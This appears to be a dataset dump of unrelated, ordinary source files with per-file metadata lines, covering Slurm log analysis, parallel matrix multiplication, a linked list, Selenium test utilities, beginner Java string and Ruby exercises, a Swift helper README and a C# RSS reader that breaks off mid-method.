int(splitLine[1]) elif line.startswith("TASKS_PER_NODE="): splitLine = line.split("=") numTasksPerNode = int(splitLine[1]) elif line.startswith("INITDATE="): splitLine = line.split("=") initDate = int(splitLine[1]) elif line.startswith("ENDDATE="): splitLine = line.split("=") endDate = int(splitLine[1]) if (numTasks != 0) and (numNodes!=0) and (numTasksPerNode!=0) and (initDate != 0) and (endDate != 0): updateStats(dataStruct, appName, numTasks, numNodes, numTasksPerNode, initDate, endDate) global firstJobInit firstJobInit = min(firstJobInit, initDate) global lastJobEnd lastJobEnd = max(lastJobEnd, endDate) ##CALCULATE STANDARD DEV for fileName in os.listdir(dirName): if "slurm-" not in fileName: continue numTasks = 0 numNodes = 0 numTasksPerNode = 0 initDate = 0 endDate = 0 fullFileName = dirName + "/" + fileName fullFile = open(fullFileName, 'r') for line in fullFile.readlines(): #NAME IS SOMETHING LIKE "lu.A.2" if line.startswith("CODE="): splitLine = line.split("=") fullAppName = splitLine[1].strip() fullAppNameSplit= fullAppName.split(".") appName=fullAppNameSplit[0]+"." + fullAppNameSplit[1] elif line.startswith("WITH_DMTCP=TRUE"): appName+=".dmtcp" elif line.startswith("TASKS="): splitLine = line.split("=") numTasks = int(splitLine[1]) elif line.startswith("NODES="): splitLine = line.split("=") numNodes = int(splitLine[1]) elif line.startswith("TASKS_PER_NODE="): splitLine = line.split("=") numTasksPerNode = int(splitLine[1]) elif line.startswith("INITDATE="): splitLine = line.split("=") initDate = int(splitLine[1]) elif line.startswith("ENDDATE="): splitLine = line.split("=") endDate = int(splitLine[1]) if (numTasks != 0) and (numNodes!=0) and (numTasksPerNode!=0) and (initDate != 0) and (endDate != 0): accumulateDev(dataStruct, appName, numTasks, numNodes, numTasksPerNode, initDate, endDate) calculateDev(dataStruct) def printSimpleResults(dataStruct): print ("EXECUTION RESULTS") print ("APP SIZE TIME (s) STDEV (%) TESTS") for appName in sorted(dataStruct.keys()): for numTask in sorted(dataStruct[appName].keys()): for numNode in sorted(dataStruct[appName][numTask].keys()): for numTasksPerNode in sorted(dataStruct[appName][numTask][numNode].keys()): elem=dataStruct[appName][numTask][numNode][numTasksPerNode] lineToPrint=appName + " " + str(numTask)+"_" + str(numNode) +"x" + str(numTasksPerNode) + " " + str(round(elem['avg'],2)) + " " try: lineToPrint += str(round((elem['dev']*100 /elem['avg']),2)) except: lineToPrint += "N/A" lineToPrint += " " + str(elem['count']) print (lineToPrint) def printComparisonWithMostConcentrated(dataStruct): print ("COMPARISON WITH MOST CONCENTRATED EXPERIMENT") print ("APP SIZE % TESTS") for appName in sorted(dataStruct.keys()): for numTask in sorted(dataStruct[appName].keys()): for numNode in sorted(dataStruct[appName][numTask].keys()): for numTasksPerNode in sorted(dataStruct[appName][numTask][numNode].keys()): elem=dataStruct[appName][numTask][numNode][numTasksPerNode] if numTask == 1: referenceElement=dataStruct[appName][1][1][1] elif numTask ==2: referenceElement=dataStruct[appName][2][1][2] elif numTask ==4: referenceElement=dataStruct[appName][4][1][4] elif numTask ==8: referenceElement=dataStruct[appName][8][1][8] elif numTask ==16: referenceElement=dataStruct[appName][16][1][16] elif numTask ==32: referenceElement=dataStruct[appName][32][2][16] elif numTask ==64: referenceElement=dataStruct[appName][64][4][16] elif numTask ==128: referenceElement=dataStruct[appName][128][8][16] lineToPrint=appName + " " + str(numTask)+"_" + str(numNode) +"x" + str(numTasksPerNode) + " " try: lineToPrint += str(round((elem['avg'] /referenceElement['avg']),2)) except: lineToPrint += "N/A" lineToPrint += " " + str(elem['count']) print (lineToPrint) #APP NAME can be "APP" or "APP.dmtcp" def printDMTCPOverhead(dataStruct): print ("DMTCP OVERHEAD") print ("APP SIZE OVERHEAD % (dmtcp - no_dmtcp/no_dmtcp)") for appName in sorted(dataStruct.keys()): if "dmtcp" not in appName: for numTask in sorted(dataStruct[appName].keys()): for numNode in sorted(dataStruct[appName][numTask].keys()): for numTasksPerNode in sorted(dataStruct[appName][numTask][numNode].keys()): dmtcp_name=appName+".dmtcp" elem=dataStruct[appName][numTask][numNode][numTasksPerNode] try: dmtcp_elem=dataStruct[dmtcp_name][numTask][numNode][numTasksPerNode] overhead = (dmtcp_elem['avg']-elem['avg'])/elem['avg'] * 100 lineToPrint=appName + " " + str(numTask)+"_" + str(numNode) +"x" + str(numTasksPerNode) + " " + str(round(overhead)) print (lineToPrint) except: continue def printClusterUsage(dataStruct): print ("CLUSTER USAGE") print ("\nstart of the first job") print time.strftime("%Y/%m/%d, %H:%M:%S", time.localtime(firstJobInit)) print ("\nend of the last job") print time.strftime("%Y/%m/%d, %H:%M:%S", time.localtime(lastJobEnd)) seconds = lastJobEnd-firstJobInit m, s = divmod(seconds, 60) h, m = divmod(m, 60) print ("\ntotal execution time") print ("%d:%02d:%02d" % (h, m, s)) totalSeconds = 0 for appName in sorted(dataStruct.keys()): for numTask in dataStruct[appName].keys(): for numNode in dataStruct[appName][numTask].keys(): for numTasksPerNode in dataStruct[appName][numTask][numNode].keys(): totalSeconds += dataStruct[appName][numTask][numNode][numTasksPerNode]['avg'] * dataStruct[appName][numTask][numNode][numTasksPerNode]['count'] * numTask CPUhours = round (totalSeconds / 3600,2) print ("\nCPU hours") print (str(CPUhours)) usage = round (100 * totalSeconds / ( seconds * clusterSize),2) print ("\nCluster usage") print (str(usage) + "%") #INPUT PARAMETERS: #$1: path of input files #$2: path of output files (Slurm scripts) #$3: prefix if __name__ == '__main__': if len(argv) not in [2,3]: print ("Usage: executionAnalysis.py <work dir> [<reference dir>]") exit(0) work_dir=argv[1] reference_dir=None try: reference_dir=argv[2] except: pass executionResults={} referenceExecutionResults={} print ("experiment folder: " + work_dir) print ("\nProcessing logs") processLogs(executionResults, work_dir) if reference_dir is not None: print ("\nProcessing reference logs") processLogs(referenceExecutionResults, reference_dir) printSimpleResults(executionResults) print ("\n\n\n") printComparisonWithMostConcentrated(executionResults) print ("\n\n\n") printDMTCPOverhead(executionResults) print ("\n\n\n") printClusterUsage(executionResults)
C++
UTF-8
1,570
3.640625
4
[]
no_license
// // Created by matthew on 30.05.19. // #include "linked_list.h" LinkedListIndexError::LinkedListIndexError ( unsigned int index ) : errorMessage{ "Cannot insert object under index " + to_string ( index ) + "!"} {} template < typename T > LinkedList<T>::LinkedList( ): first{nullptr} {} template < typename T > LinkedList<T>::~LinkedList ( ) { LinkedListNode < T > *tempNode = first; while (tempNode != nullptr) { LinkedListNode < T > *nextNode = tempNode->next; delete tempNode->value; delete tempNode; tempNode = nextNode; } first = nullptr; } template < typename T > void LinkedList<T>::insert ( unsigned int index, const T & value ) { unsigned int index_counter = 0; LinkedListNode < T > *tempNode = first; while (index_counter < index) { if (tempNode == nullptr) throw new LinkedListIndexError ( index ); tempNode = tempNode->next; index_counter++; } LinkedListNode < T > *newNode = new LinkedListNode < T >; if(index_counter == 0) { newNode->next = tempNode; first = newNode; } else { newNode->next = tempNode->next; tempNode->next = newNode; } if(first == nullptr) first = newNode; newNode->value = new T(value); } template < typename T > ostream &operator<< ( ostream &stream, LinkedList < T > linkedList ) { LinkedListNode < T > *tempNode = linkedList.first; stream << "Contents of list at address: " << & linkedList << ":" << endl; unsigned int index = 0; while (tempNode != nullptr) { stream << index << ": " << * tempNode->value << endl; index++; tempNode = tempNode->next; } return stream; }
Java
UTF-8
6,075
2.25
2
[]
no_license
/** */ package at.jku.weiner.c.parser.parser; /** * <!-- begin-user-doc --> * A representation of the model object '<em><b>Labeled Statement</b></em>'. * <!-- end-user-doc --> * * <p> * The following features are supported: * <ul> * <li>{@link at.jku.weiner.c.parser.parser.LabeledStatement#getIdent <em>Ident</em>}</li> * <li>{@link at.jku.weiner.c.parser.parser.LabeledStatement#getLStmt <em>LStmt</em>}</li> * <li>{@link at.jku.weiner.c.parser.parser.LabeledStatement#getCase <em>Case</em>}</li> * <li>{@link at.jku.weiner.c.parser.parser.LabeledStatement#getExpr <em>Expr</em>}</li> * <li>{@link at.jku.weiner.c.parser.parser.LabeledStatement#isMydefault <em>Mydefault</em>}</li> * <li>{@link at.jku.weiner.c.parser.parser.LabeledStatement#getHigher <em>Higher</em>}</li> * </ul> * </p> * * @see at.jku.weiner.c.parser.parser.ParserPackage#getLabeledStatement() * @model * @generated */ public interface LabeledStatement extends Statement { /** * Returns the value of the '<em><b>Ident</b></em>' attribute. * <!-- begin-user-doc --> * <p> * If the meaning of the '<em>Ident</em>' attribute isn't clear, * there really should be more of a description here... * </p> * <!-- end-user-doc --> * @return the value of the '<em>Ident</em>' attribute. * @see #setIdent(String) * @see at.jku.weiner.c.parser.parser.ParserPackage#getLabeledStatement_Ident() * @model * @generated */ String getIdent(); /** * Sets the value of the '{@link at.jku.weiner.c.parser.parser.LabeledStatement#getIdent <em>Ident</em>}' attribute. * <!-- begin-user-doc --> * <!-- end-user-doc --> * @param value the new value of the '<em>Ident</em>' attribute. * @see #getIdent() * @generated */ void setIdent(String value); /** * Returns the value of the '<em><b>LStmt</b></em>' containment reference. * <!-- begin-user-doc --> * <p> * If the meaning of the '<em>LStmt</em>' containment reference isn't clear, * there really should be more of a description here... * </p> * <!-- end-user-doc --> * @return the value of the '<em>LStmt</em>' containment reference. * @see #setLStmt(Statement) * @see at.jku.weiner.c.parser.parser.ParserPackage#getLabeledStatement_LStmt() * @model containment="true" * @generated */ Statement getLStmt(); /** * Sets the value of the '{@link at.jku.weiner.c.parser.parser.LabeledStatement#getLStmt <em>LStmt</em>}' containment reference. * <!-- begin-user-doc --> * <!-- end-user-doc --> * @param value the new value of the '<em>LStmt</em>' containment reference. * @see #getLStmt() * @generated */ void setLStmt(Statement value); /** * Returns the value of the '<em><b>Case</b></em>' attribute. * <!-- begin-user-doc --> * <p> * If the meaning of the '<em>Case</em>' attribute isn't clear, * there really should be more of a description here... * </p> * <!-- end-user-doc --> * @return the value of the '<em>Case</em>' attribute. * @see #setCase(String) * @see at.jku.weiner.c.parser.parser.ParserPackage#getLabeledStatement_Case() * @model * @generated */ String getCase(); /** * Sets the value of the '{@link at.jku.weiner.c.parser.parser.LabeledStatement#getCase <em>Case</em>}' attribute. * <!-- begin-user-doc --> * <!-- end-user-doc --> * @param value the new value of the '<em>Case</em>' attribute. * @see #getCase() * @generated */ void setCase(String value); /** * Returns the value of the '<em><b>Expr</b></em>' containment reference. * <!-- begin-user-doc --> * <p> * If the meaning of the '<em>Expr</em>' containment reference isn't clear, * there really should be more of a description here... * </p> * <!-- end-user-doc --> * @return the value of the '<em>Expr</em>' containment reference. * @see #setExpr(Expression) * @see at.jku.weiner.c.parser.parser.ParserPackage#getLabeledStatement_Expr() * @model containment="true" * @generated */ Expression getExpr(); /** * Sets the value of the '{@link at.jku.weiner.c.parser.parser.LabeledStatement#getExpr <em>Expr</em>}' containment reference. * <!-- begin-user-doc --> * <!-- end-user-doc --> * @param value the new value of the '<em>Expr</em>' containment reference. * @see #getExpr() * @generated */ void setExpr(Expression value); /** * Returns the value of the '<em><b>Mydefault</b></em>' attribute. * <!-- begin-user-doc --> * <p> * If the meaning of the '<em>Mydefault</em>' attribute isn't clear, * there really should be more of a description here... * </p> * <!-- end-user-doc --> * @return the value of the '<em>Mydefault</em>' attribute. * @see #setMydefault(boolean) * @see at.jku.weiner.c.parser.parser.ParserPackage#getLabeledStatement_Mydefault() * @model * @generated */ boolean isMydefault(); /** * Sets the value of the '{@link at.jku.weiner.c.parser.parser.LabeledStatement#isMydefault <em>Mydefault</em>}' attribute. * <!-- begin-user-doc --> * <!-- end-user-doc --> * @param value the new value of the '<em>Mydefault</em>' attribute. * @see #isMydefault() * @generated */ void setMydefault(boolean value); /** * Returns the value of the '<em><b>Higher</b></em>' containment reference. * <!-- begin-user-doc --> * <p> * If the meaning of the '<em>Higher</em>' containment reference isn't clear, * there really should be more of a description here... * </p> * <!-- end-user-doc --> * @return the value of the '<em>Higher</em>' containment reference. * @see #setHigher(Expression) * @see at.jku.weiner.c.parser.parser.ParserPackage#getLabeledStatement_Higher() * @model containment="true" * @generated */ Expression getHigher(); /** * Sets the value of the '{@link at.jku.weiner.c.parser.parser.LabeledStatement#getHigher <em>Higher</em>}' containment reference. * <!-- begin-user-doc --> * <!-- end-user-doc --> * @param value the new value of the '<em>Higher</em>' containment reference. * @see #getHigher() * @generated */ void setHigher(Expression value); } // LabeledStatement
PHP
UTF-8
728
3
3
[]
no_license
<?php /** * @author jarik <jarik1112@gmail.com> * @date 2/17/15 * @time 2:41 PM */ namespace Framework\Interfaces; interface ResponseInterface { /** * Send response to browser * * @return void */ public function send(); /** * Set response http code * * @param integer $code * @return void */ public function setHttpCode($code); /** * Return http code * * @return integer */ public function getHttpCode(); /** * Set data to view * @param array $data * @return mixed */ public function setData(array $data); /** * @param string $view * @return mixed */ public function setView($view); }
Java
UTF-8
1,934
2.203125
2
[]
no_license
package com.tianlong.asystem.weixin.web.controller; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import com.tianlong.asystem.weixin.web.service.CommdityService; import com.tianlong.asystem.weixin.web.service.InvokingWeixinApi; import java.util.concurrent.CountDownLatch; @Controller @RequestMapping("common") public class PageController { @Autowired private InvokingWeixinApi invokingWeixinApi; @Autowired CommdityService commdityService; /** * * 功能描述: 生成微信二维码 * @author tianlong@cdtiansheng.com * @param * @return * 2019年6月21日 */ private static Integer times = 1000; private CountDownLatch latch = new CountDownLatch(times); @RequestMapping(value = "createQrCode") @ResponseBody public String createQrCode(){ return invokingWeixinApi.createQrcode(); } @RequestMapping(value = "skipQrCode") public String skipQrCode(){ return "qrcode/weixinQrCode"; } @RequestMapping(value = "test") public void queryCommdityByCode(){ testCountDownLatch(); } public void testCountDownLatch(){ int threadCount = 1000; final CountDownLatch latch = new CountDownLatch(threadCount); for(int i=0; i< threadCount; i++){ String code = i + " "; new Thread(new Runnable() { @Override public void run() { //System.out.println("线程" + Thread.currentThread().getId() + "开始出发"); commdityService.queryByCodeBatch(code); //System.out.println("线程" + Thread.currentThread().getId() + "已到达终点"); latch.countDown(); } }).start(); } try { latch.await(); } catch (InterruptedException e) { e.printStackTrace(); } System.out.println("10个线程已经执行完毕!开始计算排名"); } }
Java
UTF-8
513
2.03125
2
[]
no_license
package com.thunsaker.brevos.data.events; import com.thunsaker.android.common.bus.BaseEvent; import com.thunsaker.brevos.data.api.Bitmark; import com.thunsaker.brevos.data.api.BitmarkInfo; public class GetInfoTrendingEvent extends BaseEvent { public BitmarkInfo info; public Bitmark bitmark; public GetInfoTrendingEvent(Boolean result, String resultMessage, BitmarkInfo info, Bitmark bitmark) { super(result, resultMessage); this.info = info; this.bitmark = bitmark; } }
C#
UTF-8
10,412
3.25
3
[]
no_license
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Threading; using System.Diagnostics; using System.IO; namespace Parallel { class ParallelMultiplication { static Random rand = new Random(); public static void Main(string[] args) { for (int mtr = 0; mtr < 5; mtr++) { int[] dim1 = EnterDimension(); int[] dim2 = EnterDimension(); int n1 = dim1[0]; int m1 = dim1[1]; int n2 = dim2[0]; int m2 = dim2[1]; if (m1 != n2) return; //Инициализация матриц int[][] mtr1 = RandomMatrix(n1, m1); int[][] mtr2 = RandomMatrix(n2, m2); if (mtr1 == null || mtr2 == null) return; //PrintMatrix(mtr1); //PrintMatrix(mtr2); int[][] res_mtr = new int[n1][]; for (int i = 0; i < n1; i++) res_mtr[i] = new int[m2]; //Количество потоков при 4 * M, где M - это количество лгических ядер ЭВМ (8) int tc = 32; for (int i = 1; i < tc + 1; i *= 2) { Stopwatch stopWatch = new Stopwatch(); stopWatch.Start(); for (int rep = 0; rep < 10; rep++) { ParallelMultFirst(res_mtr, mtr1, mtr2, n1, m1, n2, m2, i); //ParallelMultSecond(res_mtr, mtr1, mtr2, n1, m1, n2, m2, i); } stopWatch.Stop(); TimeSpan ts = stopWatch.Elapsed; Console.WriteLine(ts.Seconds + "." + ts.Milliseconds); string elapsedTime = String.Format("{0:00}:{1:00}:{2:00}.{3:00}", ts.Hours, ts.Minutes, ts.Seconds, ts.Milliseconds); Console.WriteLine("RunTime " + elapsedTime); } } } public static void ParallelMultFirst(int[][] res_mtr, int[][] mtr1, int[][] mtr2, int n1, int m1, int n2, int m2, int tc) { //Первая реализация (строки) List<Thread> listThread = new List<Thread>(); int d = n1 / tc; int j = 0; for (int i = 0; i < n1; i += d) { //Console.WriteLine("Main thread:"); Param p = new Param(res_mtr, mtr1, mtr2, i, i + d, n1, m1, n2, m2); //Создаем новый поток listThread.Add(new Thread(new ParameterizedThreadStart(ParallelMultRow))); listThread[j].Start(p); // запускаем поток j += 1; } // Join — Это метод синхронизации, который блокирует вызывающий поток (то есть поток, который вызывает метод). // Используйте этот метод, чтобы убедиться, что поток был завершен. // То есть мы не пойдем далее по коду, пока не выполнятся потоки, вызванные ранее // (то есть те потоки, которые мы джоиним). foreach (var elem in listThread) { if (elem.IsAlive) elem.Join(); } //PrintMatrix(res_mtr); //Console.WriteLine(); } public static void ParallelMultSecond(int[][] res_mtr, int[][] mtr1, int[][] mtr2, int n1, int m1, int n2, int m2, int tc) { //Вторая реализация(столбцы) int d = m2 / tc; int j = 0; List<Thread> listThread = new List<Thread>(); for (int i = 0; i < m2; i += d) { //Параметры Param p = new Param(res_mtr, mtr1, mtr2, i, i + d, n1, m1, n2, m2); //Создаем новый поток listThread.Add(new Thread(new ParameterizedThreadStart(ParallelMultCol))); listThread[j].Start(p); // запускаем поток j += 1; } //Console.WriteLine("Main thread:"); foreach (var elem in listThread) { if (elem.IsAlive) elem.Join(); } //PrintMatrix(res_mtr); //Console.WriteLine(); } public static void ParallelMultRow(object obj) { Param p = (Param)obj; int s = 0; for (int row = p.start; row < p.end; row++) { for (int i = 0; i < p.m2; i++) { //Console.WriteLine("Work thread " + p.current); s = 0; for (int j = 0; j < p.m1; j++) { s += p.mtr1[row][j] * p.mtr2[j][i]; } p.res_mtr[row][i] = s; } } } public static void ParallelMultCol(object obj) { Param p = (Param)obj; int s = 0; for (int col = p.start; col < p.end; col++) { for (int i = 0; i < p.n1; i++) { //Console.WriteLine("Work thread " + p.current); s = 0; for (int j = 0; j < p.m1; j++) { s += p.mtr1[i][j] * p.mtr2[j][col]; } p.res_mtr[i][col] = s; } } } public static int[] EnterDimension() { Console.WriteLine("Enter the rows number: "); int n = Convert.ToInt32(Console.ReadLine()); Console.WriteLine("Enter the columns number: "); int m = Convert.ToInt32(Console.ReadLine()); int[] dim = new int[2]; dim[0] = n; dim[1] = m; return dim; } public static int[][] RandomMatrix(int n, int m) { int[][] mtr = new int[n][]; for (int i = 0; i < n; i++) mtr[i] = new int[m]; for (int i = 0; i < n; i++) { for (int j = 0; j < m; j++) { mtr[i][j] = rand.Next(1, 10); } } return mtr; } public static int[][] InitMatrix(int n, int m) { int[][] mtr = new int[n][]; for (int i = 0; i < n; i++) mtr[i] = new int[m]; Console.WriteLine("Enter the matrix: "); for (int i = 0; i < n; i++) { for (int j = 0; j < m; j++) { mtr[i][j] = Convert.ToInt32(Console.ReadLine()); } } return mtr; } public static void PrintMatrix(int[][] mtr) { if (mtr == null) return; int n = mtr.Length; int m = mtr[0].Length; Console.WriteLine("Matrix:"); for (int i = 0; i < n; i++) { for (int j = 0; j < m; j++) { Console.Write("{0} ", mtr[i][j]); } Console.WriteLine(); } } } class Param { public int[][] res_mtr, mtr1, mtr2; public int n1, m1, n2, m2; public int start, end; public Param(int[][] res_mtr, int[][] mtr1, int[][] mtr2, int start, int end, int n1, int m1, int n2, int m2) { this.res_mtr = res_mtr; this.mtr1 = mtr1; this.mtr2 = mtr2; this.n1 = n1; this.m1 = m1; this.n2 = n2; this.m2 = m2; this.start = start; this.end = end; } } //public class Matrix //{ // static Random rand = new Random(); // private int[,] mtr = null; // public int n { get; private set; } // public int m { get; private set; } // public Matrix(int x = 1, int y = 1) // { // mtr = new int[x, y]; // n = x; // m = y; // } // //Теперь к экземпляру класса Matrix можно обращаться как к двумерному массиву. // public int this[int x, int y] // { // get { return mtr[x, y]; } // set { mtr[x, y] = value; } // } // public void InitMatrix() // { // Console.WriteLine("Enter the matrix: "); // for (int i = 0; i < n; i++) // { // for (int j = 0; j < m; j++) // { // mtr[i, j] = Convert.ToInt32(Console.ReadLine()); // } // } // } // public void RandomMatrix() // { // for (int i = 0; i < n; i++) // { // for (int j = 0; j < m; j++) // { // mtr[i, j] = rand.Next(1, 1000); // } // } // } // public void PrintMatrix() // { // if (mtr == null) // return; // for (int i = 0; i < n; i++) // { // for (int j = 0; j < m; j++) // { // Console.Write("{0} ", mtr[i, j]); // } // Console.WriteLine(); // } // } //} //class Param //{ // public Matrix res_mtr, mtr1, mtr2; // public int row; // public Param(Matrix res_mtr, Matrix mtr1, Matrix mtr2, int i) // { // this.res_mtr = res_mtr; // this.mtr1 = mtr1; // this.mtr2 = mtr2; // this.row = i; // } //} }
C++
UTF-8
1,387
4.0625
4
[]
no_license
/* Name: Muhammad Wasif Ali Wasif Student ID: 20i-2315 Section: SE-R */ #include <iostream> #include <cmath> using namespace std; double sum1 (int n);// prototype the function run the first formula double sum2 (int n);// prototype the function run the second formula double sum3 (int n);// prototype the function run the third formula int main () { //declaration and intilization int choice = 0; double N = 0; do { cout << "1 -> (1/2)^n \n"; cout << "2 -> n/(n+1) \n"; cout << "3 -> 1/n\n"; //taking input from user & verifying it cout << "Enter Choice from 1 to 3: "; cin >> choice; cout << "Enter n (the value should be greater than 0): "; cin >> N; } while (choice < 1 || choice > 3 || N < 1); //the case statement will run the formula user wanted switch (choice) { case 1: { cout << "Your Answer is " << sum1(N); break; } case 2: { cout << "Your Answer is " << sum2(N); break; } case 3: { cout << "Your Answer is " << sum3(N); break; } } cout << endl; } double sum1 (int n) { double answer = 0.0; for (int i = 1; i <= n ; i++) { answer += pow((1.0/2.0), i); } return answer; } double sum2 (int n) { double answer = 0.0; for (int i = 1; i <= n ; i++) { answer += i/(i+1.0); } return answer; } double sum3 (int n) { double answer = 0.0; for (int i = 1; i <= n ; i++) { answer += (1.0/i); } return answer; }
Java
UTF-8
2,391
2.328125
2
[]
no_license
package com.roma.qa.utils; import com.roma.qa.base.TestBase; import org.apache.commons.compress.archivers.dump.InvalidFormatException; import org.apache.commons.io.FileUtils; import org.apache.poi.ss.usermodel.Sheet; import org.apache.poi.ss.usermodel.WorkbookFactory; import org.apache.poi.ss.usermodel.Workbook; import org.openqa.selenium.OutputType; import org.openqa.selenium.TakesScreenshot; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; public class TestUtil extends TestBase { public static long PAGE_LOAD_TIMEOUT = 20; public static long IMPLICIT_WAIT = 10; public static String TEST_DATA_PATH = "C:\\Users\\user\\Documents\\Projects\\POMHibridSeleniumProjectFramewordClone\\src\\main\\java\\com\\roma\\qa\\testdata\\test_data_selen.xlsx"; static Workbook book; static Sheet sheet; public void switchToframe(){ driver.switchTo().frame("mainpanel"); } public static Object[][] getTestData(String sheetName) throws IOException { FileInputStream file = null; try { file = new FileInputStream(TEST_DATA_PATH); }catch (FileNotFoundException e){ e.printStackTrace(); } try { book = WorkbookFactory.create(file); }catch (InvalidFormatException e){ e.printStackTrace(); }catch (IOException e){ e.printStackTrace(); } sheet = book.getSheet(sheetName); Object[][] data = new Object[sheet.getLastRowNum()][sheet.getRow(0).getLastCellNum()]; // System.out.println(sheet.getLastRowNum()); for (int i = 0; i < sheet.getLastRowNum() ; i++) { for (int j = 0; j <sheet.getRow(0).getLastCellNum() ; j++) { data[i][j] = sheet.getRow(i+1).getCell(j).toString(); // System.out.println(data[i][j]); } } return data; } public static void takeScreenShotAtEndOfTest() throws IOException { File scrFile = ((TakesScreenshot)driver).getScreenshotAs(OutputType.FILE); String currentDir = System.getProperty("user.dir"); FileUtils.copyFile(scrFile, new File(currentDir+"\\screenshots\\"+System.currentTimeMillis()+".png")); System.out.println("Screenshot taken and saved in directory: " + currentDir+"/screenshots"); } }
Java
UTF-8
1,286
3.921875
4
[]
no_license
package day11stringmethods; public class String01 { public static void main(String[] args) { //15.substring() String s1 = "Java OOP language oldugu icin populerdir."; System.out.println(s1.substring(3));// a OOP languagedir System.out.println(s1.substring(5));//OOP languagedir System.out.println(s1.substring(0));//Java OOP languagedir //Son harfi ekrana yazdirin System.out.println(s1.substring(s1.length()-1)); //substring(9, 17) ifadesinde index 9 dahil, index 17 haric'tir. System.out.println(s1.substring(9, 17));//language //substring(0, 1) String'deki ilk harfi verir, charAt(0) gibi //substring(0, 1) String return eder, charAt(0) char return eder. System.out.println(s1.substring(0, 1));//J System.out.println(s1.substring(5, 5));// Index'ler esit ise hicbirsey alirsiniz //substring() methodunda baslangic index'i bitis index'inden buyuk olamaz. Buyuk olursa //Run Time Error alirsiniz. //s1.substring(5, 1); //16.trim() String s2 = " Java ogrenen diger dilleri cabucak ogrenir "; //trim() methodu bir String'in bas ve sonundaki space'leri siler. //Stringin icindeki space'leri silmez. System.out.println("Trim kullanmadan once: " + s2); System.out.println("Trim kullandiktan sonra: " + s2.trim()); } }
JavaScript
UTF-8
196
3.0625
3
[]
no_license
const obj = { name: 'Alexei', age: 20, language: 'Spanish' } const { name, ...rest} = obj; console.log(name, rest) const extraInfo = { ...obj, status: 'alive' } console.log(extraInfo)
Java
UTF-8
608
2.265625
2
[]
no_license
package com.bookstore.services; import java.util.ArrayList; import java.util.List; import com.bookstore.dao.BookDAO; import com.bookstore.model.Book; public class BookService { public static List<Book> retrieveAllBooks() { List<Book> books = BookDAO.getInstance().retrieveAllBooks(); return books; } public static boolean addBook(Book book) { return BookDAO.getInstance().addBook(book); } public static boolean updateBook(Book book) { return BookDAO.getInstance().updateBook(book); } public static boolean deleteBook(int id) { return BookDAO.getInstance().deleteBook(id); } }
Markdown
UTF-8
2,644
3.28125
3
[ "MIT" ]
permissive
# SideKicK SideKicK is a collection of convenient helper methods in Swift to promote speed and intuitive coding. ## Documentation ### String ##### subscript(index: Int) -> String Subscripting with an integer gives you the character at that index. Negative integers give you character starting from the end of the string. ```sh "Hello World"[1] // "e" "Hello World"[-1] // "d" ``` ##### func substring(from: Int, to: Int) -> String? Returns substring starting from and ending by given parameters The substring will not include character at index number 'to' ```sh "Hello World".substring(from: 0, to: 4) // "Hell" ``` ##### func substring(from: Int, through: Int) -> String? Returns substring starting from and ending at given parameters The substring will include character at index number 'through' ```sh "Hello World".substring(from: 0, through: 4) // "Hello" ``` ##### func substring(from start: Int, by end: Int) -> String? Returns substring starting from given parameter and ending 'by' indexes after The parameter 'by' does not include the initial index ```sh "Hello World".substring(from: 7, by: 1) // "or" ``` ##### substring(start: Int, size: Int) -> String? Returns substring starting from and with the size of the given parameters The parameter 'size' does include the initial index ```sh "Hello World".substring(start: 0, size: 5) // "Hello" ``` ##### length: Int Returns length of the string ```sh "SideKick".length // 8 ``` ### Int ##### times(block: () -> ()) Swift port of the Ruby #times An easy way to run a block of code n times ```sh 3.times { print("Beetlejuice") } >> Beetlejuice >> Beetlejuice >> Beetlejuice ``` ##### upTo(_ x: Int, _ block: (Int) -> ()) Swift port of the Ruby #upTo ```sh 1.upTo(5) { n in print(n) } >> 1 >> 2 >> 3 >> 4 >> 5 ``` ##### downTo(_ x: Int, block: (Int) -> ()) Swift port of the Ruby #downTo ```sh 3.upTo(1) { n in print(n) } >> 3 >> 2 >> 1 ``` ##### downTo(_ x: Int, block: (Int) -> ()) step(_ to: Int, _ by: Int, block: (Int) -> ()) ```sh 0.step(10, 2) { n in print(n) } >> 0 >> 2 >> 4 >> 6 >> 8 >> 10 ``` ##### ordinal: String step(_ to: Int, _ by: Int, block: (Int) -> ()) ```sh 5.ordinal // 5th ``` ##### spelledOut: String step(_ to: Int, _ by: Int, block: (Int) -> ()) ```sh 5.spelledOut // "five" ``` ##### scientific: String step(_ to: Int, _ by: Int, block: (Int) -> ()) ```sh 123.scientific // "1.23E2" // "five" ``` ##### currency: String step(_ to: Int, _ by: Int, block: (Int) -> ()) ```sh 123.currency "$123" ``` ### Date ##### shortDate: String ```sh Date().shortDate // ```
Ruby
UTF-8
438
3.125
3
[]
no_license
def sort_characters self.downcase.chars.sort.join end def sort_characters self.downcase.chars.sort.join end def anagram_groups self.sort_characters.uniq end def combine_anagrams(words) anagram_groups = words.anagram_groups result = [] anagram_groups.each { |i| (result << []) } words.each do |word| matching_index = anagram_groups.index(word.sort_characters) result[matching_index].push(word) end result end
C#
UTF-8
4,224
2.921875
3
[]
no_license
using RssYandexUi.Models; using RssYandexUi.Services; using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace RssYandexUi { public partial class Form1 : Form { //для работы с Yandex private readonly RssService _rssService = new RssService("https://news.yandex.ru/games.rss"); //для взаимодействия с БД private readonly DataService _data = new DataService(); //состояния интерфейса private enum State { Busy, Free }; public Form1() { InitializeComponent(); StartPosition = FormStartPosition.CenterScreen; Text = "Пример на получение RSS"; _buttonGet.Click += ButtonGet_Click; _buttonClear.Click += ButtonClear_Click; _buttonBD.Click += ButtonBD_Click; } /// <summary> /// Получение записей из RSS Яндекса /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private async void ButtonGet_Click(object sender, EventArgs e) { _richTextBoxFromYa.Text = String.Empty; ChangeState(State.Busy); try { //получаем и отображаем записи от яндекса var items = await _rssService.GetRssItems(); ShowItems(items, "Не удалось получить новые записи."); //запоминаем в БД await _data.SaveItems(items); } finally { ChangeState(State.Free); } } private void ButtonClear_Click(object sender, EventArgs e) { _richTextBoxFromYa.Text = String.Empty; } /// <summary> /// Извлечение записией из БД /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private async void ButtonBD_Click(object sender, 